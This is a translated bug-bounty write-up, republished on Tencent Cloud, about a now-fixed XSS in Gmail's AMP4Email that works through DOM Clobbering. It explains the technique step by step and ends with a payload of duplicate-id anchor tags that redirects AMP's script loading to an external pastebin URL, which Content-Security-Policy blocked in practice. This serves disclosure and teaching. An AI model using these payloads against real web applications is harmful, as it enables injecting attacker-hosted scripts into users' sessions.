前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >通过 DOM Clobbering 发现 GMail AMP4Email 的 XSS 漏洞

通过 DOM Clobbering 发现 GMail AMP4Email 的 XSS 漏洞

作者头像
madneal
发布2019-11-28 21:36:52
1.1K0
发布2019-11-28 21:36:52
举报
文章被收录于专栏:madMen

原文:https://research.securitum.com/xss-in-amp4email-dom-clobbering/

译者:https://github.com/neal1991

这篇文章是我在2019年8月通过 Google 漏洞奖励计划报告的 AMP4Email 中已经修复的 XSS 的文章。该 XSS 是对著名浏览器问题 DOM Clobbering 的真实利用案例。

什么是 AMP4Email

AMP4Email(也称为动态邮件)是 Gmail 的一项新功能,可以让电子邮件包含动态 HTML 内容。尽管撰写包含 HTML 标签的电子邮件已经很多年了,但通常认为 HTML 仅包含静态内容,即某种格式,图像等,没有任何脚本或表单。AMP4Email 打算更进一步,允许电子邮件中包含动态内容。在 Google 官方 G Suite 官方博客中的帖子中,对动态邮件的使用案例进行了很好的总结

通过动态邮件,你可以轻松地直接从消息本身直接操作,例如对事件进行快速回复,填写问卷,浏览目录或回复评论。 以在 Google 文档中进行评论为例。现在,你将不再在有人在评论中提及你时接收到单独的电子邮件通知,而是会在 Gmail 中看到最新的主题,你可以在邮件中直接从中轻松回复或解决评论。

该功能引发了一些明显的安全性问题。最重要的一个可能是:跨站点脚本(XSS)?如果我们允许电子邮件中包含动态内容,是否意味着我们可以轻松地注入任意 JavaScript 代码?好吧,答案是否定的;没那么容易。

AMP4Email 具有强验证器,简而言之,它是允许在动态邮件中使用的标签和属性的强大白名单。你可以在 https://amp.gmail.dev/playground/ 上尝试,你还可以给自己发送动态电子邮件来研究工作原理!

图1. AMP4Email playground

如果你尝试添加验证器未明确允许的任何 HTML 元素或属性,则会收到错误消息。

图2. AMP 验证器禁止使用任意脚本标签

在使用 AMP4Email 并尝试各种方法绕过它时,我注意到标签中不允许 id 属性(图3)。

图3.不允许使用属性 id

这看起来像是开始安全分析的好地方,因为创建具有用户控制的id属性的HTML元素可能会导致 DOM Clobbering。

DOM Clobbering

DOM Clobbering 是 web 浏览器的遗留功能,给许多应用程序带来麻烦。基本上,当你在 HTML 中创建一个元素(例如 <inputid=username>),然后希望从 JavaScript 引用该元素时,通常会使用 document.getElementById('username') 或者 document.querySelector('#username') 之类的函数。但这不是唯一的方法!

传统的方法是仅通过全局 window 对象的属性来访问它。因此,在这种情况下, window.usernamedocument.getElementById('username') 完全相同!如果应用程序基于某些全局变量的存在做出决定(例如, if(window.isAdmin){...}),则此行为(称为 DOM Cloberring)可能导致有趣的漏洞。

为了进一步分析 DOM Clobbering,假设我们有以下 JavaScript 代码:

代码语言:javascript
复制
if(window.test1.test2) {eval(''+window.test1.test2)}

我们的工作是通过仅使用 DOM Cloberring 技术执行任意 JS 代码。要完成这个任务,我们需要找到两个问题的解决方案

  1. 我们知道可以在 window 上创建新属性,但是可以在其他对象上创建新属性(比如 test1.test2)吗?
  2. 我们可以控制 DOM 元素如何转换为字符串吗?大多数 HTML 元素在转换为字符串时,返回的内容类似于 [objectHTMLInputElement]

让我们从第一个问题开始。最常被引用的解决方法是使用 <form> 标签。标签 <form> 的每个子元素 <input> 都被添加为 <form> 的属性,该属性的名称和 <input>name 属性相同。考虑以下示例:

代码语言:javascript
复制
<form id=test1><input name=test2></form><script>  alert(test1.test2); // alerts "[object HTMLInputElement]"</script>

为了解决第二个问题,我创建了一个简短的 JS 代码,该代码对 HTML 中所有可能的元素进行了迭代,并检查它们的 toString 方法是否继承自 Object.prototype 还是以其他方式定义的。如果它们不继承自 Object.prototype,则可能会返回除 [objectSomeElement] 外的其他内容。

代码如下:

代码语言:javascript
复制
Object.getOwnPropertyNames(window).filter(p => p.match(/Element$/)).map(p => window[p]).filter(p => p && p.prototype && p.prototype.toString !== Object.prototype.toString)

该代码返回两个元素:HTMLAreaElement<area>)和 HTMLAnchorElement<a>)。AMP4Email 中不允许使用第一个,因此仅关注第二个。如果是 <a> 元素,则 toString 仅返回 href 属性的值。考虑示例:

代码语言:javascript
复制
<a id=test1 href=https://securitum.com><script>  alert(test1); // alerts "https://securitum.com"</script>

在这一点上,似乎我们想解决最初的问题(比如通过 DOM Clobbering 获取 window.test1.test2 的值),我们需要类似于以下代码:

代码语言:javascript
复制
<form id=test1><a name=test2 href="x:alert(1)"></a></form>

问题在于它根本不起作用;test1.test2 将会是 undefined。尽管 <input> 元素确实成为了 <form> 的属性,但 <a> 没有发生变化。

这个问题有一个有趣的解决方法,不过仅仅适用于基于 WebKit 以及 Blink 内核的浏览器。假设我们有两个具有相同 id 的元素:

代码语言:javascript
复制
<a id=test1>click!</a><a id=test1>click2!</a>

那么访问 window.test1 时我们将得到什么?我直觉上希望得到具有该 id 的第一个元素(当你尝试调用 document.getElementById('#test1') 时会发生这种情况。但是,在 Chromium 中,我们实际上得到了一个 HTMLCollection

图4. window.test1 指向 HTMLCollection

这里特别有趣的是(可以在图4中看到),我们可以通过索引(示例中的0和1)以及通过 id 访问该 HTMLCollection 中的特定元素。这意味着 window.test1.test1 实际上是指第一个元素。事实证明,设置 name 属性也会在 HTMLCollection 中创建新属性。所以现在我们有以下代码:

代码语言:javascript
复制
<aid=test1>click!</a><aid=test1name=test2>click2!</a>

我们可以通过 window.test1.test2 访问第二个锚元素。

图5. 我们可以定义 window.test1.test2

因此,回到通过 DOM Clobbering 利用 eval(''+window.test1.test2) 的原始练习,解决方案是:

代码语言:javascript
复制
<aid="test1"></a><aid="test1"name="test2"href="x:alert(1)"></a>

现在让我们回到 AMP4Email,看看如何在实际情况下如何利用 DOM Clobbering。

在 AMP4Email 利用 DOM Clobbering

我已经提到过,通过向元素添加我自己的 id 属性,AMP4Email 可能容易受到 DOM Clobbering 的攻击。为了找到可利用的条件,我决定看一下 window 的属性(图6)。立即引起注意的是开头的 AMP。

图6. window 全局对象的属性

在这一点上,事实证明 AMP4Email 实际上对 DOM Clobbering 采取了某种保护措施,因为它严格禁止 id 属性的某些值,例如:AMP(图7)。

图7. AMP 是 AMP4Email 中的 id 的无效值

但是,AMP_MODE并没有发生相同的限制。所以我准备了一个代码 <aid=AMP_MODE> 看看会发生什么……

…然后我注意到控制台中有一个非常有趣的错误(图8)。

图8. 加载某些JS文件的 404 错误

如图8 所示,AMP4Email 尝试加载某些JS文件,但由于 404 而未能加载。但是,特别引人注目的是,URL中间存在 undefined

(https://cdn.ampproject.org/rtv/undefined/v0/amp-auto-lightbox-0.1.js)。我能够想出的唯一一个合理的解释:AMP 尝试获取 AMP_MODE 的属性以将其放入URL。由于 DOM Clobbering,缺少了预期的属性,因此是 undefined。包含代码的代码如下所示:

代码语言:javascript
复制
f.preloadExtension = function(a, b) {"amp-embed"== a && (a = "amp-ad");var c = fn(this, a, !1);if(c.loaded || c.error)var d = !1;elsevoid0=== c.scriptPresent && (d = this.win.document.head.querySelector('[custom-element="'+ a + '"]'),                c.scriptPresent = !!d),                d = !c.scriptPresent;if(d) {                d = b;                b = this.win.document.createElement("script");                b.async = !0;                yb(a, "_") ? d = "": b.setAttribute(0<= dn.indexOf(a) ? "custom-template": "custom-element", a);                b.setAttribute("data-script", a);                b.setAttribute("i-amphtml-inserted", "");var e = this.win.location;                t().test && this.win.testLocation && (e = this.win.testLocation);if(t().localDev) {var g = e.protocol + "//"+ e.host;"about:"== e.protocol && (g = "");                    e = g + "/dist"} else                    e = hd.cdn;                g = t().rtvVersion;null== d && (d = "0.1");                d = d ? "-"+ d : "";var h = t().singlePassType ? t().singlePassType + "/": "";                b.src = e + "/rtv/"+ g + "/"+ h + "v0/"+ a + d + ".js";this.win.document.head.appendChild(b);                c.scriptPresent = !0}return gn(c)}

尽管阅读起来不是特别困难,但下面是手动去混淆的代码(为了更清晰,省略了某些部分):

代码语言:javascript
复制
var script = window.document.createElement("script");script.async = false;
var loc;if(AMP_MODE.test && window.testLocation) {    loc = window.testLocation} else{    loc = window.location;}
if(AMP_MODE.localDev) {    loc = loc.protocol + "//"+ loc.host + "/dist"} else{    loc = "https://cdn.ampproject.org";}
var singlePass = AMP_MODE.singlePassType ? AMP_MODE.singlePassType + "/": "";b.src = loc + "/rtv/"+ AMP_MODE.rtvVersion; + "/"+ singlePass + "v0/"+ pluginName + ".js";
document.head.appendChild(b);

因此,在第1行中,代码创建了一个新的 script 元素。然后,检查 AMP_MODE.testwindow.testLocation 是否存在。如果是这样,并且 AMP_MODE.localDev 为真(第11行),则将 window.testLocation 作为生成脚本URL的基础。然后,在第17和18行中,将其他一些属性连接起来以形成完整的URL。虽然乍一看可能并不明显,但是由于代码的编写方式以及 DOM Clobbering,我们实际上可以控制完整的URL。让我们假设 AMP_MODE.localDevAMP_MODE.test 为真,代码会进一步简化:

代码语言:javascript
复制
var script = window.document.createElement("script");script.async = false;
b.src = window.testLocation.protocol + "//"+        window.testLocation.host + "/dist/rtv/"+        AMP_MODE.rtvVersion; + "/"+(AMP_MODE.singlePassType ? AMP_MODE.singlePassType + "/": "") +"v0/"+ pluginName + ".js";
document.head.appendChild(b);

`

你还记得我们之前通过 DOM Clobbering 重载 window.test1.test2 的练习吗?现在我们需要做同样的事情,只要重载 window.testLocation.protocol。因此,最终的有效载荷:

代码语言:javascript
复制
<!-- We need to make AMP_MODE.localDev and AMP_MODE.test truthy--><aid="AMP_MODE"></a><aid="AMP_MODE"name="localDev"></a><aid="AMP_MODE"name="test"></a>
<!-- window.testLocation.protocol is a base for the URL --><aid="testLocation"></a><aid="testLocation"name="protocol" href="https://pastebin.com/raw/0tn8z0rG#"></a>

实际上,由于在 AMP 中部署了 Content-Security-Policy,因此代码在实际情况下无法执行:

代码语言:javascript
复制
Content-Security-Policy: default-src 'none';script-src 'sha512-oQwIl...=='   https://cdn.ampproject.org/rtv/  https://cdn.ampproject.org/v0.js  https://cdn.ampproject.org/v0/

我没有找到绕过 CSP 的方法,但是在尝试绕过 CSP 时,我发现了一种绕过基于目录的 CSP的 有趣方法,并且我在推特上发表了 (后来发现在 2016年CTF中已经使用了相同的技巧)。Google在其漏洞赏金计划中,实际上并不期望绕过 CSP 但依然支付全部赏金。这仍然是一个有趣的挑战。也许其他人会找到绕过的方法?

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2019-11-20,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 madMen 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 什么是 AMP4Email
  • DOM Clobbering
  • 在 AMP4Email 利用 DOM Clobbering
相关产品与服务
Elasticsearch Service
腾讯云 Elasticsearch Service(ES)是云端全托管海量数据检索分析服务,拥有高性能自研内核,集成X-Pack。ES 支持通过自治索引、存算分离、集群巡检等特性轻松管理集群,也支持免运维、自动弹性、按需使用的 Serverless 模式。使用 ES 您可以高效构建信息检索、日志分析、运维监控等服务,它独特的向量检索还可助您构建基于语义、图像的AI深度应用。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档